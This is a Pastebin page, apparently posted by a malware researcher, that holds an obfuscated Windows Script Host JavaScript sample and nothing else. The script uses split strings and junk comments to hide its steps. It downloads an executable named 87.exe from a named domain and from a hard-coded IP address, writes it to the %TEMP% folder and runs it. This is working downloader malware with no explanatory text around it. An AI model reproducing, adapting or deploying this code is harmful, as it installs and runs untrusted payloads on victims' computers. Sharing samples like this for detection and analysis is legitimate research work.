SHARE
TWEET

Malicious obfuscated Javascript

dynamoo Dec 11th, 2015 149 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4.  
  5. var k = "soft2webextrain.com/87.exe? 46.151.52.231/87.exe? ? ?".split(" ");
  6.  
  7. var BOu =((1/*R7fa994763596n766524uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
  8.  
  9. var xX = WScript.CreateObject(BOu);
  10.  
  11. var IM = "%TEMP%\\";
  12.  
  13. var AIa = xX.ExpandEnvironmentStrings(IM);
  14.  
  15. var evM = "2.XMLH";
  16.  
  17. var FLf = evM + "TTP";
  18.  
  19. var ds = true  , OEyE = "ADOD";
  20.  
  21. var oF = WScript.CreateObject("MS"+"XML"+(390945, FLf));
  22.  
  23. var nOs = WScript.CreateObject(OEyE + "B.St"+(252983, "ream"));
  24.  
  25. var Pcl = 0;
  26.  
  27. var T = 1;
  28.  
  29. var hLpUbFX = 711853;
  30.  
  31. for (var z=Pcl; z<k.length; z++)  {
  32.  
  33.   var ak = 0;
  34.  
  35.   try  {
  36.  
  37. poi = "GET";
  38.  
  39.     oF.open(poi,"http://"+k[z]+T, false); oF.send(); if (oF.status == 754-554)  {
  40.  
  41.       nOs.open(); nOs.type = 1; nOs.write(oF.responseBody); if (nOs.size > 16444-807)  {
  42.  
  43.         ak = 1; nOs.position = 0; nOs.saveToFile/*GxU7230zT3*/(AIa/*xpQL58gFok*/+hLpUbFX+".exe",4-2); try  {
  44.  
  45.           if (((new Date())>0,7735225888)) {
  46.  
  47.     xX./*d817704Gr3n*/Run(AIa+hLpUbFX+/*1CGQ37zEwI*/".exe",/*ydIg533wpA*/3-2,0);
  48.  
  49.     break;
  50.  
  51.           }
  52.  
  53. }
  54.  
  55.         catch (RT)  {
  56.  
  57. };
  58.  
  59.       }; nOs.close();
  60.  
  61.     };
  62.  
  63. if (ak == 1)  {
  64.  
  65.       Pcl = z; break;
  66.  
  67.     };
  68.  
  69.   }
  70.  
  71.   catch (RT)  {
  72.  
  73.   };
  74.  
  75. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top